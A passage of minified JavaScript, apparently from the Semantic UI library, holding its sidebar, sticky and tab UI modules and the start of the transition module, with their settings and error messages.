dimensions"),w.cache={}}},set:{ios:function(){c.addClass(T.ios)},pushed:function(){D.addClass(T.pushed)},pushable:function(){D.addClass(T.pushable)},dimmed:function(){z.addClass(T.dimmed)},active:function(){O.addClass(T.active)},animating:function(){O.addClass(T.animating)},transition:function(e){e=e||w.get.transition(),O.addClass(e)},direction:function(e){e=e||w.get.direction(),O.addClass(T[e])},visible:function(){O.addClass(T.visible)},overlay:function(){O.addClass(T.overlay)}},remove:{inlineCSS:function(){w.debug("Removing inline css styles",r),r&&r.length>0&&r.remove()},ios:function(){c.removeClass(T.ios)},pushed:function(){D.removeClass(T.pushed)},pushable:function(){D.removeClass(T.pushable)},active:function(){O.removeClass(T.active)},animating:function(){O.removeClass(T.animating)},transition:function(e){e=e||w.get.transition(),O.removeClass(e)},direction:function(e){e=e||w.get.direction(),O.removeClass(T[e])},visible:function(){O.removeClass(T.visible)},overlay:function(){O.removeClass(T.overlay)}},get:{direction:function(){return O.hasClass(T.top)?T.top:O.hasClass(T.right)?T.right:O.hasClass(T.bottom)?T.bottom:T.left},transition:function(){var e,t=w.get.direction();return e=w.is.mobile()?"auto"==k.mobileTransition?k.defaultTransition.mobile[t]:k.mobileTransition:"auto"==k.transition?k.defaultTransition.computer[t]:k.transition,w.verbose("Determined transition",e),e},transitionEvent:function(){var e,t=n.createElement("element"),o={transition:"transitionend",OTransition:"oTransitionEnd",MozTransition:"transitionend",WebkitTransition:"webkitTransitionEnd"};for(e in o)if(t.style[e]!==i)return o[e]}},is:{ie:function(){var e=!t.ActiveXObject&&"ActiveXObject"in t,n="ActiveXObject"in t;return e||n},ios:function(){var e=navigator.userAgent,t=e.match(R.ios),n=e.match(R.mobileChrome);return!(!t||n)&&(w.verbose("Browser was found to be iOS",e),!0)},mobile:function(){var e=navigator.userAgent,t=e.match(R.mobile);return t?(w.verbose("Browser was found to be mobile",e),!0):(w.verbose("Browser is not mobile, using regular transition",e),!1)},hidden:function(){return!w.is.visible()},visible:function(){return O.hasClass(T.visible)},open:function(){return w.is.visible()},closed:function(){return w.is.hidden()},vertical:function(){return O.hasClass(T.top)},animating:function(){return D.hasClass(T.animating)},rtl:function(){return w.cache.rtl===i&&(w.cache.rtl="rtl"==O.css("direction")),w.cache.rtl}},setting:function(t,n){if(w.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,k,t);else{if(n===i)return k[t];e.isPlainObject(k[t])?e.extend(!0,k[t],n):k[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,w,t);else{if(n===i)return w[t];w[t]=n}},debug:function(){!k.silent&&k.debug&&(k.performance?w.performance.log(arguments):(w.debug=Function.prototype.bind.call(console.info,console,k.name+":"),w.debug.apply(console,arguments)))},verbose:function(){!k.silent&&k.verbose&&k.debug&&(k.performance?w.performance.log(arguments):(w.verbose=Function.prototype.bind.call(console.info,console,k.name+":"),w.verbose.apply(console,arguments)))},error:function(){k.silent||(w.error=Function.prototype.bind.call(console.error,console,k.name+":"),w.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;k.performance&&(t=(new Date).getTime(),i=f||t,n=t-i,f=t,m.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:M,"Execution Time":n})),clearTimeout(w.performance.timer),w.performance.timer=setTimeout(w.performance.display,500)},display:function(){var t=k.name+":",n=0;f=!1,clearTimeout(w.performance.timer),e.each(m,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",d&&(t+=" '"+d+"'"),(console.group!==i||console.table!==i)&&m.length>0&&(console.groupCollapsed(t),console.table?console.table(m):e.each(m,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),m=[]}},invoke:function(t,n,o){var r,s,l,c=I;return n=n||h,o=M||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(w.error(P.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},p?(I===i&&w.initialize(),w.invoke(g)):(I!==i&&w.invoke("destroy"),w.initialize())}),a!==i?a:this},e.fn.sidebar.settings={name:"Sidebar",namespace:"sidebar",silent:!1,debug:!1,verbose:!1,performance:!0,transition:"auto",mobileTransition:"auto",defaultTransition:{computer:{left:"uncover",right:"uncover",top:"overlay",bottom:"overlay"},mobile:{left:"uncover",right:"uncover",top:"overlay",bottom:"overlay"}},context:"body",exclusive:!1,closable:!0,dimPage:!0,scrollLock:!1,returnScroll:!1,delaySetup:!1,duration:500,onChange:function(){},onShow:function(){},onHide:function(){},onHidden:function(){},onVisible:function(){},className:{active:"active",animating:"animating",dimmed:"dimmed",ios:"ios",pushable:"pushable",pushed:"pushed",right:"right",top:"top",left:"left",bottom:"bottom",visible:"visible"},selector:{fixed:".fixed",omitted:"script, link, style, .ui.modal, .ui.dimmer, .ui.nag, .ui.fixed",pusher:".pusher",sidebar:".ui.sidebar"},regExp:{ios:/(iPad|iPhone|iPod)/g,mobileChrome:/(CriOS)/g,mobile:/Mobile|iP(hone|od|ad)|Android|BlackBerry|IEMobile|Kindle|NetFront|Silk-Accelerated|(hpw|web)OS|Fennec|Minimo|Opera M(obi|ini)|Blazer|Dolfin|Dolphin|Skyfire|Zune/g},error:{method:"The method you called is not defined.",pusher:"Had to add pusher element. For optimal performance make sure body content is inside a pusher element",movedSidebar:"Had to move sidebar. For optimal performance make sure sidebar and pusher are direct children of your body tag",overlay:"The overlay setting is no longer supported, use animation: overlay",notFound:"There were no elements that matched the specified selector"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.sticky=function(o){var a,r=e(this),s=r.selector||"",l=(new Date).getTime(),c=[],u=arguments[0],d="string"==typeof u,f=[].slice.call(arguments,1);return r.each(function(){var r,m,g,p,h,v=e.isPlainObject(o)?e.extend(!0,{},e.fn.sticky.settings,o):e.extend({},e.fn.sticky.settings),b=v.className,y=v.namespace,x=v.error,C="."+y,w="module-"+y,k=e(this),S=e(t),T=e(v.scrollContext),A=(k.selector||"",k.data(w)),R=t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)},P=this;h={initialize:function(){h.determineContainer(),h.determineContext(),h.verbose("Initializing sticky",v,r),h.save.positions(),h.checkErrors(),h.bind.events(),v.observeChanges&&h.observeChanges(),h.instantiate()},instantiate:function(){h.verbose("Storing instance of module",h),A=h,k.data(w,h)},destroy:function(){h.verbose("Destroying previous instance"),h.reset(),g&&g.disconnect(),p&&p.disconnect(),S.off("load"+C,h.event.load).off("resize"+C,h.event.resize),T.off("scrollchange"+C,h.event.scrollchange),k.removeData(w)},observeChanges:function(){"MutationObserver"in t&&(g=new MutationObserver(h.event.documentChanged),p=new MutationObserver(h.event.changed),g.observe(n,{childList:!0,subtree:!0}),p.observe(P,{childList:!0,subtree:!0}),p.observe(m[0],{childList:!0,subtree:!0}),h.debug("Setting up mutation observer",p))},determineContainer:function(){r=k.offsetParent()},determineContext:function(){if(m=v.context?e(v.context):r,0===m.length)return void h.error(x.invalidContext,v.context,k)},checkErrors:function(){if(h.is.hidden()&&h.error(x.visible,k),h.cache.element.height>h.cache.context.height)return h.reset(),void h.error(x.elementSize,k)},bind:{events:function(){S.on("load"+C,h.event.load).on("resize"+C,h.event.resize),T.off("scroll"+C).on("scroll"+C,h.event.scroll).on("scrollchange"+C,h.event.scrollchange)}},event:{changed:function(e){clearTimeout(h.timer),h.timer=setTimeout(function(){h.verbose("DOM tree modified, updating sticky menu",e),h.refresh()},100)},documentChanged:function(t){[].forEach.call(t,function(t){t.removedNodes&&[].forEach.call(t.removedNodes,function(t){(t==P||e(t).find(P).length>0)&&(h.debug("Element removed from DOM, tearing down events"),h.destroy())})})},load:function(){h.verbose("Page contents finished loading"),R(h.refresh)},resize:function(){h.verbose("Window resized"),R(h.refresh)},scroll:function(){R(function(){T.triggerHandler("scrollchange"+C,T.scrollTop())})},scrollchange:function(e,t){h.stick(t),v.onScroll.call(P)}},refresh:function(e){h.reset(),v.context||h.determineContext(),e&&h.determineContainer(),h.save.positions(),h.stick(),v.onReposition.call(P)},supports:{sticky:function(){var t=e("<div/>");t[0];return t.addClass(b.supported),t.css("position").match("sticky")}},save:{lastScroll:function(e){h.lastScroll=e},elementScroll:function(e){h.elementScroll=e},positions:function(){var e={height:T.height()},t={margin:{top:parseInt(k.css("margin-top"),10),bottom:parseInt(k.css("margin-bottom"),10)},offset:k.offset(),width:k.outerWidth(),height:k.outerHeight()},n={offset:m.offset(),height:m.outerHeight()};({height:r.outerHeight()});h.is.standardScroll()||(h.debug("Non-standard scroll. Removing scroll offset from element offset"),e.top=T.scrollTop(),e.left=T.scrollLeft(),t.offset.top+=e.top,n.offset.top+=e.top,t.offset.left+=e.left,n.offset.left+=e.left),h.cache={fits:t.height<e.height,scrollContext:{height:e.height},element:{margin:t.margin,top:t.offset.top-t.margin.top,left:t.offset.left,width:t.width,height:t.height,bottom:t.offset.top+t.height},context:{top:n.offset.top,height:n.height,bottom:n.offset.top+n.height}},h.set.containerSize(),h.set.size(),h.stick(),h.debug("Caching element positions",h.cache)}},get:{direction:function(e){var t="down";return e=e||T.scrollTop(),h.lastScroll!==i&&(h.lastScroll<e?t="down":h.lastScroll>e&&(t="up")),t},scrollChange:function(e){return e=e||T.scrollTop(),h.lastScroll?e-h.lastScroll:0},currentElementScroll:function(){return h.elementScroll?h.elementScroll:h.is.top()?Math.abs(parseInt(k.css("top"),10))||0:Math.abs(parseInt(k.css("bottom"),10))||0},elementScroll:function(e){e=e||T.scrollTop();var t=h.cache.element,n=h.cache.scrollContext,i=h.get.scrollChange(e),o=t.height-n.height+v.offset,a=h.get.currentElementScroll(),r=a+i;return a=h.cache.fits||r<0?0:r>o?o:r}},remove:{lastScroll:function(){delete h.lastScroll},elementScroll:function(e){delete h.elementScroll},offset:function(){k.css("margin-top","")}},set:{offset:function(){h.verbose("Setting offset on element",v.offset),k.css("margin-top",v.offset)},containerSize:function(){var e=r.get(0).tagName;"HTML"===e||"body"==e?h.determineContainer():Math.abs(r.outerHeight()-h.cache.context.height)>v.jitter&&(h.debug("Context has padding, specifying exact height for container",h.cache.context.height),r.css({height:h.cache.context.height}))},minimumSize:function(){var e=h.cache.element;r.css("min-height",e.height)},scroll:function(e){h.debug("Setting scroll on element",e),h.elementScroll!=e&&(h.is.top()&&k.css("bottom","").css("top",-e),h.is.bottom()&&k.css("top","").css("bottom",e))},size:function(){0!==h.cache.element.height&&0!==h.cache.element.width&&(P.style.setProperty("width",h.cache.element.width+"px","important"),P.style.setProperty("height",h.cache.element.height+"px","important"))}},is:{standardScroll:function(){return T[0]==t},top:function(){return k.hasClass(b.top)},bottom:function(){return k.hasClass(b.bottom)},initialPosition:function(){return!h.is.fixed()&&!h.is.bound()},hidden:function(){return!k.is(":visible")},bound:function(){return k.hasClass(b.bound)},fixed:function(){return k.hasClass(b.fixed)}},stick:function(e){var t=e||T.scrollTop(),n=h.cache,i=n.fits,o=n.element,a=n.scrollContext,r=n.context,s=h.is.bottom()&&v.pushing?v.bottomOffset:v.offset,e={top:t+s,bottom:t+s+a.height},l=(h.get.direction(e.top),i?0:h.get.elementScroll(e.top)),c=!i,u=0!==o.height;u&&(h.is.initialPosition()?e.top>=r.bottom?(h.debug("Initial element position is bottom of container"),h.bindBottom()):e.top>o.top&&(o.height+e.top-l>=r.bottom?(h.debug("Initial element position is bottom of container"),h.bindBottom()):(h.debug("Initial element position is fixed"),h.fixTop())):h.is.fixed()?h.is.top()?e.top<=o.top?(h.debug("Fixed element reached top of container"),h.setInitialPosition()):o.height+e.top-l>=r.bottom?(h.debug("Fixed element reached bottom of container"),h.bindBottom()):c&&(h.set.scroll(l),h.save.lastScroll(e.top),h.save.elementScroll(l)):h.is.bottom()&&(e.bottom-o.height<=o.top?(h.debug("Bottom fixed rail has reached top of container"),h.setInitialPosition()):e.bottom>=r.bottom?(h.debug("Bottom fixed rail has reached bottom of container"),h.bindBottom()):c&&(h.set.scroll(l),h.save.lastScroll(e.top),h.save.elementScroll(l))):h.is.bottom()&&(e.top<=o.top?(h.debug("Jumped from bottom fixed to top fixed, most likely used home/end button"),h.setInitialPosition()):v.pushing?h.is.bound()&&e.bottom<=r.bottom&&(h.debug("Fixing bottom attached element to bottom of browser."),h.fixBottom()):h.is.bound()&&e.top<=r.bottom-o.height&&(h.debug("Fixing bottom attached element to top of browser."),h.fixTop())))},bindTop:function(){h.debug("Binding element to top of parent container"),h.remove.offset(),k.css({left:"",top:"",marginBottom:""}).removeClass(b.fixed).removeClass(b.bottom).addClass(b.bound).addClass(b.top),v.onTop.call(P),v.onUnstick.call(P)},bindBottom:function(){h.debug("Binding element to bottom of parent container"),h.remove.offset(),k.css({left:"",top:""}).removeClass(b.fixed).removeClass(b.top).addClass(b.bound).addClass(b.bottom),v.onBottom.call(P),v.onUnstick.call(P)},setInitialPosition:function(){h.debug("Returning to initial position"),h.unfix(),h.unbind()},fixTop:function(){h.debug("Fixing element to top of page"),h.set.minimumSize(),h.set.offset(),k.css({left:h.cache.element.left,bottom:"",marginBottom:""}).removeClass(b.bound).removeClass(b.bottom).addClass(b.fixed).addClass(b.top),v.onStick.call(P)},fixBottom:function(){h.debug("Sticking element to bottom of page"),h.set.minimumSize(),h.set.offset(),k.css({left:h.cache.element.left,bottom:"",marginBottom:""}).removeClass(b.bound).removeClass(b.top).addClass(b.fixed).addClass(b.bottom),v.onStick.call(P)},unbind:function(){h.is.bound()&&(h.debug("Removing container bound position on element"),h.remove.offset(),k.removeClass(b.bound).removeClass(b.top).removeClass(b.bottom))},unfix:function(){h.is.fixed()&&(h.debug("Removing fixed position on element"),h.remove.offset(),k.removeClass(b.fixed).removeClass(b.top).removeClass(b.bottom),v.onUnstick.call(P))},reset:function(){h.debug("Resetting elements position"),h.unbind(),h.unfix(),h.resetCSS(),h.remove.offset(),h.remove.lastScroll()},resetCSS:function(){k.css({width:"",height:""}),r.css({height:""})},setting:function(t,n){if(e.isPlainObject(t))e.extend(!0,v,t);else{if(n===i)return v[t];v[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,h,t);else{if(n===i)return h[t];h[t]=n}},debug:function(){!v.silent&&v.debug&&(v.performance?h.performance.log(arguments):(h.debug=Function.prototype.bind.call(console.info,console,v.name+":"),h.debug.apply(console,arguments)))},verbose:function(){!v.silent&&v.verbose&&v.debug&&(v.performance?h.performance.log(arguments):(h.verbose=Function.prototype.bind.call(console.info,console,v.name+":"),h.verbose.apply(console,arguments)))},error:function(){v.silent||(h.error=Function.prototype.bind.call(console.error,console,v.name+":"),h.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;v.performance&&(t=(new Date).getTime(),i=l||t,n=t-i,l=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:P,"Execution Time":n})),clearTimeout(h.performance.timer),h.performance.timer=setTimeout(h.performance.display,0)},display:function(){var t=v.name+":",n=0;l=!1,clearTimeout(h.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",s&&(t+=" '"+s+"'"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var r,s,l,c=A;return n=n||f,o=P||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i&&(s=c[o],!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},d?(A===i&&h.initialize(),h.invoke(u)):(A!==i&&A.invoke("destroy"),h.initialize())}),a!==i?a:this},e.fn.sticky.settings={name:"Sticky",namespace:"sticky",silent:!1,debug:!1,verbose:!0,performance:!0,pushing:!1,context:!1,scrollContext:t,offset:0,bottomOffset:0,jitter:5,observeChanges:!1,onReposition:function(){},onScroll:function(){},onStick:function(){},onUnstick:function(){},onTop:function(){},onBottom:function(){},error:{container:"Sticky element must be inside a relative container",visible:"Element is hidden, you must call refresh after element becomes visible. Use silent setting to surpress this warning in production.",method:"The method you called is not defined.",invalidContext:"Context specified does not exist",elementSize:"Sticky element is larger than its container, cannot create sticky."},className:{bound:"bound",fixed:"fixed",supported:"native",top:"top",bottom:"bottom"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.tab=function(o){var a,r=e(e.isFunction(this)?t:this),s=r.selector||"",l=(new Date).getTime(),c=[],u=arguments[0],d="string"==typeof u,f=[].slice.call(arguments,1),m=!1;return r.each(function(){var g,p,h,v,b,y,x=e.isPlainObject(o)?e.extend(!0,{},e.fn.tab.settings,o):e.extend({},e.fn.tab.settings),C=x.className,w=x.metadata,k=x.selector,S=x.error,T="."+x.namespace,A="module-"+x.namespace,R=e(this),P={},E=!0,F=0,O=this,D=R.data(A);b={initialize:function(){b.debug("Initializing tab menu item",R),b.fix.callbacks(),b.determineTabs(),b.debug("Determining tabs",x.context,p),x.auto&&b.set.auto(),b.bind.events(),x.history&&!m&&(b.initializeHistory(),m=!0),b.instantiate()},instantiate:function(){b.verbose("Storing instance of module",b),D=b,R.data(A,b)},destroy:function(){b.debug("Destroying tabs",R),R.removeData(A).off(T)},bind:{events:function(){e.isWindow(O)||(b.debug("Attaching tab activation events to element",R),R.on("click"+T,b.event.click))}},determineTabs:function(){var t;"parent"===x.context?(R.closest(k.ui).length>0?(t=R.closest(k.ui),b.verbose("Using closest UI element as parent",t)):t=R,g=t.parent(),b.verbose("Determined parent element for creating context",g)):x.context?(g=e(x.context),b.verbose("Using selector for tab context",x.context,g)):g=e("body"),x.childrenOnly?(p=g.children(k.tabs),b.debug("Searching tab context children for tabs",g,p)):(p=g.find(k.tabs),b.debug("Searching tab context for tabs",g,p))},fix:{callbacks:function(){e.isPlainObject(o)&&(o.onTabLoad||o.onTabInit)&&(o.onTabLoad&&(o.onLoad=o.onTabLoad,delete o.onTabLoad,b.error(S.legacyLoad,o.onLoad)),o.onTabInit&&(o.onFirstLoad=o.onTabInit,delete o.onTabInit,b.error(S.legacyInit,o.onFirstLoad)),x=e.extend(!0,{},e.fn.tab.settings,o))}},initializeHistory:function(){if(b.debug("Initializing page state"),e.address===i)return b.error(S.state),!1;if("state"==x.historyType){if(b.debug("Using HTML5 to manage state"),x.path===!1)return b.error(S.path),!1;e.address.history(!0).state(x.path)}e.address.bind("change",b.event.history.change)},event:{click:function(t){var n=e(this).data(w.tab);n!==i?(x.history?(b.verbose("Updating page state",t),e.address.value(n)):(b.verbose("Changing tab",t),b.changeTab(n)),t.preventDefault()):b.debug("No tab specified")},history:{change:function(t){var n=t.pathNames.join("/")||b.get.initialPath(),o=x.templates.determineTitle(n)||!1;b.performance.display(),b.debug("History change event",n,t),y=t,n!==i&&b.changeTab(n),o&&e.address.title(o)}}},refresh:function(){h&&(b.debug("Refreshing tab",h),b.changeTab(h))},cache:{read:function(e){return e!==i&&P[e]},add:function(e,t){e=e||h,b.debug("Adding cached content for",e),P[e]=t},remove:function(e){e=e||h,b.debug("Removing cached content for",e),delete P[e]}},set:{auto:function(){var t="string"==typeof x.path?x.path.replace(/\/$/,"")+"/{$tab}":"/{$tab}";b.verbose("Setting up automatic tab retrieval from server",t),e.isPlainObject(x.apiSettings)?x.apiSettings.url=t:x.apiSettings={url:t}},loading:function(e){var t=b.get.tabElement(e),n=t.hasClass(C.loading);n||(b.verbose("Setting loading state for",t),t.addClass(C.loading).siblings(p).removeClass(C.active+" "+C.loading),t.length>0&&x.onRequest.call(t[0],e))},state:function(t){e.address.value(t)}},changeTab:function(n){var i=t.history&&t.history.pushState,o=i&&x.ignoreFirstLoad&&E,a=x.auto||e.isPlainObject(x.apiSettings),r=a&&!o?b.utilities.pathToArray(n):b.get.defaultPathArray(n);n=b.utilities.arrayToPath(r),e.each(r,function(t,i){var s,l,c,u,d=r.slice(0,t+1),f=b.utilities.arrayToPath(d),m=b.is.tab(f),p=t+1==r.length,k=b.get.tabElement(f);if(b.verbose("Looking for tab",i),m){if(b.verbose("Tab was found",i),h=f,v=b.utilities.filterArray(r,d),p?u=!0:(l=r.slice(0,t+2),c=b.utilities.arrayToPath(l),u=!b.is.tab(c),u&&b.verbose("Tab parameters found",l)),u&&a)return o?(b.debug("Ignoring remote content on first tab load",f),E=!1,b.cache.add(n,k.html()),b.activate.all(f),x.onFirstLoad.call(k[0],f,v,y),x.onLoad.call(k[0],f,v,y)):(b.activate.navigation(f),b.fetch.content(f,n)),!1;b.debug("Opened local tab",f),b.activate.all(f),b.cache.read(f)||(b.cache.add(f,!0),b.debug("First time tab loaded calling tab init"),x.onFirstLoad.call(k[0],f,v,y)),x.onLoad.call(k[0],f,v,y)}else{if(n.search("/")!=-1||""===n)return b.error(S.missingTab,R,g,f),!1;if(s=e("#"+n+', a[name="'+n+'"]'),f=s.closest("[data-tab]").data(w.tab),k=b.get.tabElement(f),s&&s.length>0&&f)return b.debug("Anchor link used, opening parent tab",k,s),k.hasClass(C.active)||setTimeout(function(){b.scrollTo(s)},0),b.activate.all(f),b.cache.read(f)||(b.cache.add(f,!0),b.debug("First time tab loaded calling tab init"),x.onFirstLoad.call(k[0],f,v,y)),x.onLoad.call(k[0],f,v,y),!1}})},scrollTo:function(t){var i=!!(t&&t.length>0)&&t.offset().top;i!==!1&&(b.debug("Forcing scroll to an in-page link in a hidden tab",i,t),e(n).scrollTop(i))},update:{content:function(e,t,n){var o=b.get.tabElement(e),a=o[0];n=n!==i?n:x.evaluateScripts,n?(b.debug("Updating HTML and evaluating inline scripts",e,t),o.html(t)):(b.debug("Updating HTML",e,t),a.innerHTML=t)}},fetch:{content:function(t,n){var o,a,r=b.get.tabElement(t),s={dataType:"html",encodeParameters:!1,on:"now",cache:x.alwaysRefresh,headers:{"X-Remote":!0},onSuccess:function(e){"response"==x.cacheType&&b.cache.add(n,e),b.update.content(t,e),t==h?(b.debug("Content loaded",t),b.activate.tab(t)):b.debug("Content loaded in background",t),x.onFirstLoad.call(r[0],t,v,y),x.onLoad.call(r[0],t,v,y),"response"!=x.cacheType&&b.cache.add(n,r.html())},urlData:{tab:n}},l=r.api("get request")||!1,c=l&&"pending"===l.state();n=n||t,a=b.cache.read(n),x.cache&&a?(b.activate.tab(t),b.debug("Adding cached content",n),"once"==x.evaluateScripts?b.update.content(t,a,!1):b.update.content(t,a),x.onLoad.call(r[0],t,v,y)):c?(b.set.loading(t),b.debug("Content is already loading",n)):e.api!==i?(o=e.extend(!0,{},x.apiSettings,s),b.debug("Retrieving remote content",n,o),b.set.loading(t),r.api(o)):b.error(S.api)}},activate:{all:function(e){b.activate.tab(e),b.activate.navigation(e)},tab:function(e){var t=b.get.tabElement(e),n="siblings"==x.deactivate?t.siblings(p):p.not(t),i=t.hasClass(C.active);b.verbose("Showing tab content for",t),i||(t.addClass(C.active),n.removeClass(C.active+" "+C.loading),t.length>0&&x.onVisible.call(t[0],e))},navigation:function(e){var t=b.get.navElement(e),n="siblings"==x.deactivate?t.siblings(r):r.not(t),i=t.hasClass(C.active);b.verbose("Activating tab navigation for",t,e),i||(t.addClass(C.active),n.removeClass(C.active+" "+C.loading))}},deactivate:{all:function(){b.deactivate.navigation(),b.deactivate.tabs()},navigation:function(){r.removeClass(C.active)},tabs:function(){p.removeClass(C.active+" "+C.loading)}},is:{tab:function(e){return e!==i&&b.get.tabElement(e).length>0}},get:{initialPath:function(){return r.eq(0).data(w.tab)||p.eq(0).data(w.tab)},path:function(){return e.address.value()},defaultPathArray:function(e){return b.utilities.pathToArray(b.get.defaultPath(e))},defaultPath:function(e){var t=r.filter("[data-"+w.tab+'^="'+e+'/"]').eq(0),n=t.data(w.tab)||!1;if(n){if(b.debug("Found default tab",n),F<x.maxDepth)return F++,b.get.defaultPath(n);b.error(S.recursion)}else b.debug("No default tabs found for",e,p);return F=0,e},navElement:function(e){return e=e||h,r.filter("[data-"+w.tab+'="'+e+'"]')},tabElement:function(e){var t,n,i,o;return e=e||h,i=b.utilities.pathToArray(e),o=b.utilities.last(i),t=p.filter("[data-"+w.tab+'="'+e+'"]'),n=p.filter("[data-"+w.tab+'="'+o+'"]'),t.length>0?t:n},tab:function(){return h}},utilities:{filterArray:function(t,n){return e.grep(t,function(t){return e.inArray(t,n)==-1})},last:function(t){return!!e.isArray(t)&&t[t.length-1]},pathToArray:function(e){return e===i&&(e=h),"string"==typeof e?e.split("/"):[e]},arrayToPath:function(t){return!!e.isArray(t)&&t.join("/")}},setting:function(t,n){if(b.debug("Changing setting",t,n),e.isPlainObject(t))e.extend(!0,x,t);else{if(n===i)return x[t];e.isPlainObject(x[t])?e.extend(!0,x[t],n):x[t]=n}},internal:function(t,n){if(e.isPlainObject(t))e.extend(!0,b,t);else{if(n===i)return b[t];b[t]=n}},debug:function(){!x.silent&&x.debug&&(x.performance?b.performance.log(arguments):(b.debug=Function.prototype.bind.call(console.info,console,x.name+":"),b.debug.apply(console,arguments)))},verbose:function(){!x.silent&&x.verbose&&x.debug&&(x.performance?b.performance.log(arguments):(b.verbose=Function.prototype.bind.call(console.info,console,x.name+":"),b.verbose.apply(console,arguments)))},error:function(){x.silent||(b.error=Function.prototype.bind.call(console.error,console,x.name+":"),b.error.apply(console,arguments))},performance:{log:function(e){var t,n,i;x.performance&&(t=(new Date).getTime(),i=l||t,n=t-i,l=t,c.push({Name:e[0],Arguments:[].slice.call(e,1)||"",Element:O,"Execution Time":n})),clearTimeout(b.performance.timer),b.performance.timer=setTimeout(b.performance.display,500)},display:function(){var t=x.name+":",n=0;l=!1,clearTimeout(b.performance.timer),e.each(c,function(e,t){n+=t["Execution Time"]}),t+=" "+n+"ms",s&&(t+=" '"+s+"'"),(console.group!==i||console.table!==i)&&c.length>0&&(console.groupCollapsed(t),console.table?console.table(c):e.each(c,function(e,t){console.log(t.Name+": "+t["Execution Time"]+"ms")}),console.groupEnd()),c=[]}},invoke:function(t,n,o){var r,s,l,c=D;return n=n||f,o=O||o,"string"==typeof t&&c!==i&&(t=t.split(/[\. ]/),r=t.length-1,e.each(t,function(n,o){var a=n!=r?o+t[n+1].charAt(0).toUpperCase()+t[n+1].slice(1):t;if(e.isPlainObject(c[a])&&n!=r)c=c[a];else{if(c[a]!==i)return s=c[a],!1;if(!e.isPlainObject(c[o])||n==r)return c[o]!==i?(s=c[o],!1):(b.error(S.method,t),!1);c=c[o]}})),e.isFunction(s)?l=s.apply(o,n):s!==i&&(l=s),e.isArray(a)?a.push(l):a!==i?a=[a,l]:l!==i&&(a=l),s}},d?(D===i&&b.initialize(),b.invoke(u)):(D!==i&&D.invoke("destroy"),b.initialize())}),a!==i?a:this},e.tab=function(){e(t).tab.apply(this,arguments)},e.fn.tab.settings={name:"Tab",namespace:"tab",silent:!1,debug:!1,verbose:!1,performance:!0,auto:!1,history:!1,historyType:"hash",path:!1,context:!1,childrenOnly:!1,maxDepth:25,deactivate:"siblings",alwaysRefresh:!1,cache:!0,cacheType:"response",ignoreFirstLoad:!1,apiSettings:!1,evaluateScripts:"once",onFirstLoad:function(e,t,n){},onLoad:function(e,t,n){},onVisible:function(e,t,n){},onRequest:function(e,t,n){},templates:{determineTitle:function(e){}},error:{api:"You attempted to load content without API module",method:"The method you called is not defined",missingTab:"Activated tab cannot be found. Tabs are case-sensitive.",noContent:"The tab you specified is missing a content url.",path:"History enabled, but no path was specified",recursion:"Max recursive depth reached",legacyInit:"onTabInit has been renamed to onFirstLoad in 2.0, please adjust your code.",legacyLoad:"onTabLoad has been renamed to onLoad in 2.0. Please adjust your code",state:"History requires Asual's Address library <https://github.com/asual/jquery-address>"},metadata:{tab:"tab",loaded:"loaded",promise:"promise"},className:{loading:"loading",active:"active"},selector:{tabs:".ui.tab",ui:".ui"}}}(jQuery,window,document),function(e,t,n,i){"use strict";t="undefined"!=typeof t&&t.Math==Math?t:"undefined"!=typeof self&&self.Math==Math?self:Function("return this")(),e.fn.transition=function(){var o,a=e(this),r=a.selector||"",s=(new Date).getTime(),l=[],c=arguments,u=c[0],d=[].slice.call(arguments,1),f="string"==typeof u;t.requestAnimationFrame||t.mozRequestAnimationFrame||t.webkitRequestAnimationFrame||t.msRequestAnimationFrame||function(e){setTimeout(e,0)};return a.each(function(t){var m,g,p,h,v,b,y,x,C,w=e(this),k=this;C={initialize:function(){m=C.get.settings.apply(k,c),h=m.className,p=m.error,v=m.metadata,x="."+m.namespace,
